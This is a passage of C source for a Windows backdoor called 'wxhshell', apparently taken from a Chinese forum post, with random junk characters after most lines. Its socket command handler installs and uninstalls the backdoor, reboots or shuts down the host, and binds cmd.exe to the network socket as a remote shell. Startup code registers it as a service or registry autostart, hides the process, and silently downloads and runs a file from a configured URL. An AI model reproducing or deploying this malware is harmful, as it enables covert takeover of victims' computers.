  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d(9SkXr  
  else 'd;aAG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )cZ KB0*+  
  } 66+]D4(k  
  else { 3+:NX6Ewb*  
~)X;z"y%b  
    switch(cmd[0]) { |8x_Av0  
  -XkjO$=!=  
  // 帮助 = 1d$x:  
  case '?': { Et}%sdS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /BF7N3  
    break; '=Jz}F <  
  } >qGWDCKr  
  // 安装 20`XklV  
  case 'i': { L]BTX]  
    if(Install()) >SYOtzg%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P>x88M  
    else 7ruWmy;j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >Yv#t.!  
    break; c\tw#;\9  
    } Ls.g\Gl3  
  // 卸载 /8hjs{(;  
  case 'r': { V2tA!II-s  
    if(Uninstall()) p!?7;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oW(8bd)  
    else [`KQ \4u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  wJvk  
    break; G`;mSq6i  
    } F%{z E ANm  
  // 显示 wxhshell 所在路径 U^-J_ yq  
  case 'p': { wjOqCF"  
    char svExeFile[MAX_PATH]; ;[Eso p  
    strcpy(svExeFile,"\n\r"); o5Knot)Oy  
      strcat(svExeFile,ExeFile); [r'hX#  
        send(wsh,svExeFile,strlen(svExeFile),0); x0TE+rf5   
    break; Gt!Hm(  
    } =Q|s[F  
  // 重启 \(5Bi3PA}  
  case 'b': { AJRiwP|H+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Tm~jYgJ  
    if(Boot(REBOOT)) *t={9h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >Wpdq(o  
    else { R9+f^o` W  
    closesocket(wsh); +ZBj_Vw*|  
    ExitThread(0); R~N%sn  
    } *y>|  
    break; F{}:e QD  
    } xelh!AtE  
  // 关机 7FP"]\x  
  case 'd': { ~$Z_#,|i?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [~Z#yEiW^  
    if(Boot(SHUTDOWN)) _tO2PI L@Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r&L1jT.  
    else { Vr&v:8:wb  
    closesocket(wsh); pcm1IwR`  
    ExitThread(0); tfe'].uT  
    } Z@Qf0 c  
    break; 2"Y=*s  
    } 8R;E+B{  
  // 获取shell BMhuM~?(  
  case 's': { #`"B YFV[E  
    CmdShell(wsh); ;:Kc{B.s  
    closesocket(wsh); q93V'[)F  
    ExitThread(0); i{J[;rV9  
    break; $,T3vX]<  
  } .3 ^*_  
  // 退出 q#Ik3 5  
  case 'x': { Yc(lY N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _ `7[}M~  
    CloseIt(wsh); #P1 ;*m  
    break; YeF'r.Y  
    } .+^o{b  
  // 离开 <R#:K7> O  
  case 'q': { $5>x)jr:w+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x/92],.Mz  
    closesocket(wsh); #- d-zV*  
    WSACleanup(); %5(v'/dQ  
    exit(1); G&7 } m  
    break;  uQW d1>  
        } `"bp -/  
  } [{_K[5i  
  } .:, 9Tf  
.fY$$aD$4  
  // 提示信息 .q$/#hN:e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]6HnK%  
} Q $>SYvW  
  } ,k/<Nv;  
K%vGfQ8Er-  
  return; wtGb 3D"am  
} lHPhZ(Z  
*P[N.5{  
// shell模块句柄 h^b=  
int CmdShell(SOCKET sock) P`M1sON~  
{ Y+~>9-S  
STARTUPINFO si; 2f-Or/v  
ZeroMemory(&si,sizeof(si)); #kQLHi3##  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z.kBQ{P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2wgdrO|B  
PROCESS_INFORMATION ProcessInfo; 2{#=Ygb0  
char cmdline[]="cmd"; Wy$Q!R=i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \G1(r=fU  
  return 0; /M_kJe,%  
} DRi/<  
n L!nzA  
// 自身启动模式 faI4`.i  
int StartFromService(void) w~*"mZaG  
{ TUVqQ\oF:  
typedef struct _n< @Jk~  
{ 9}Zi_xK&|e  
  DWORD ExitStatus; E}=F   
  DWORD PebBaseAddress; ~3m} EL  
  DWORD AffinityMask; &oiBMk`*  
  DWORD BasePriority; z[_Gg8e  
  ULONG UniqueProcessId; O<w7PS  
  ULONG InheritedFromUniqueProcessId; pJwy ~ L  
}   PROCESS_BASIC_INFORMATION; `#N7ym;s@  
a^&3?3   
PROCNTQSIP NtQueryInformationProcess; ia /_61%  
q]t^6m&-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !GVxQll[f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ' 9  
Yy0m &3[  
  HANDLE             hProcess; <8/lHQ^\)  
  PROCESS_BASIC_INFORMATION pbi; w+ tO@  
rx;zd?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %bUpVyi!(  
  if(NULL == hInst ) return 0; ZsYT&P2  
x68s$H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~# |p=Y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /d-7n|#E  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZpY"P6  
Mxe  
  if (!NtQueryInformationProcess) return 0; %5H>tG`]   
L"!BN/i_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yh Ymbu  
  if(!hProcess) return 0; gG=E2+=uy  
bDPT1A`F  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .c.#V:XZ#U  
;rH@>VrR  
  CloseHandle(hProcess); pF"IDC  
Yt;.Z$i ,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tI(co5 W  
if(hProcess==NULL) return 0; .{W)E  
sWnU*Q  
HMODULE hMod; YEqWTB|w  
char procName[255]; ^KMZB  
unsigned long cbNeeded; U9B|u`72  
%Gs!oD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c8jq.y v  
u5FlT3hY.  
  CloseHandle(hProcess); = 8%+$vX  
#65Uei|F`+  
if(strstr(procName,"services")) return 1; // 以服务启动 D}Lx9cL  
RA+k/2]y!  
  return 0; // 注册表启动 /fc@=CO  
} 0qV!-i  
{GiR-q{t  
// 主模块 8~|PZ,oZ  
int StartWxhshell(LPSTR lpCmdLine) re/l5v,|3  
{ ",T-'>h$2R  
  SOCKET wsl; 1jozM"H7Q  
BOOL val=TRUE; <tg>1,C  
  int port=0; %/&?t`%H  
  struct sockaddr_in door; f/qG:yTV`  
I(Yyg,1Z  
  if(wscfg.ws_autoins) Install(); fm\IQqIK%  
qzqv-{.h  
port=atoi(lpCmdLine); &u_f:Pog  
6]^}GyM!  
if(port<=0) port=wscfg.ws_port; l8hOryB&  
[?hc.COE  
  WSADATA data; o3l_&?^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Xu:S h<:R  
MLcc   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ( Qw"^lE3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dg1h<]T"9  
  door.sin_family = AF_INET; .Eg>)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LdAfY0  
  door.sin_port = htons(port); "tbKKh66  
/ %U+kW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a ^b_&}y  
closesocket(wsl); Bn/ {J  
return 1; GV([gs  
} 7PZ0  
rr# &0`]  
  if(listen(wsl,2) == INVALID_SOCKET) { Khxl 'qj  
closesocket(wsl); ALiXT8q  
return 1; fG5U' Vw  
} m$:o+IH/  
  Wxhshell(wsl); }CA oB::&  
  WSACleanup(); Uok?FEN  
l M5Xw  
return 0; ]`&ws  
Nd*zSsVlq  
} M:qeqn+  
^l6q  
// 以NT服务方式启动 ?y7x#_Exc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `2?9eXC  
{ :'!,L0I|t  
DWORD   status = 0; kQ~*iY  
  DWORD   specificError = 0xfffffff; $aX}i4F  
BXVmt!S5F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D`LcL|nmH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2mbZ6'p {  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4*_9Gl  
  serviceStatus.dwWin32ExitCode     = 0; M yr [  
  serviceStatus.dwServiceSpecificExitCode = 0; =LS?:Mhm  
  serviceStatus.dwCheckPoint       = 0; jyf[O -  
  serviceStatus.dwWaitHint       = 0; Qd 1Q~PBla  
]dc^@}1bN  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A\_cGM2  
  if (hServiceStatusHandle==0) return; q7C>A`w  
XU .FLNe  
status = GetLastError(); WLEjRx  
  if (status!=NO_ERROR) RJ1 Q.o  
{ -1~bWRYq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Mjrl KI}f/  
    serviceStatus.dwCheckPoint       = 0; o@r+Y  
    serviceStatus.dwWaitHint       = 0; Cw`v\ 9  
    serviceStatus.dwWin32ExitCode     = status; E3y"  
    serviceStatus.dwServiceSpecificExitCode = specificError; g&H6~ +\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zycu3%JI  
    return; SqTO~zGC  
  } 37Z:WJ?  
Y6/'gg'&5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; DJ;G0*  
  serviceStatus.dwCheckPoint       = 0; d$/BF&n  
  serviceStatus.dwWaitHint       = 0; U&|=dH]-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h84}lxT^]  
} ^Pf FW  
[Zk|s9  
// 处理NT服务事件,比如:启动、停止 _gjsAbM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e7ixi^Q  
{ G@anY=D\EB  
switch(fdwControl) CEE`nn  
{ ;Id%{1  
case SERVICE_CONTROL_STOP: 6)kF!/J  
  serviceStatus.dwWin32ExitCode = 0; b/ h,qv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :Q=Jn?Gjb  
  serviceStatus.dwCheckPoint   = 0; 1GVJ3VXt  
  serviceStatus.dwWaitHint     = 0; 74rz~ZM 5  
  { e;R5A6|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jeyy Z=  
  } /+ vl({vV  
  return; 7$+n"Cfm  
case SERVICE_CONTROL_PAUSE: 'Uew(o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; j8!fzJG  
  break; [L8Bgw1  
case SERVICE_CONTROL_CONTINUE: _K>cB<+d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1"009/|   
  break;  cpp0Y^  
case SERVICE_CONTROL_INTERROGATE: xCD|UC46?X  
  break; s"<k) Xi  
}; Y(ly0U}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r@0HqZx`  
} agN`) F!  
IM}T2\tZ}  
// 标准应用程序主函数 p mcy(<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b40zYH`'{  
{ 5@bLD P  
I|,^a|\  
// 获取操作系统版本 2GA6@-u\  
OsIsNt=GetOsVer(); V=BF"S;-'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~S15tZ $  
sXkWs2!  
  // 从命令行安装 %p)6m 2Sb  
  if(strpbrk(lpCmdLine,"iI")) Install(); |j$&W;yC  
` ZXX[&C  
  // 下载执行文件 (Kd;l &8  
if(wscfg.ws_downexe) { &F*s.gL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B@` 87  
  WinExec(wscfg.ws_filenam,SW_HIDE); R4u=.  
} 0#KDvCBJ  
meT~b  
if(!OsIsNt) { C] qY  
// 如果时win9x,隐藏进程并且设置为注册表启动 2f16 /0J@  
HideProc(); ~T9%%W[  
StartWxhshell(lpCmdLine); R$4&>VBu  
} E$; =*0w  
else E8u :Fg s  
  if(StartFromService()) }9 N, +*  
  // 以服务方式启动 n;)!N  
  StartServiceCtrlDispatcher(DispatchTable); Xy:'f".M~\  
else sptDzVM  
  // 普通方式启动 >XjSVRO  
  StartWxhshell(lpCmdLine); h.ojj$f,  
*fso6j#%  
return 0; (p'yya{(  
}
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只看该作者 1 发表于: 2006-10-10
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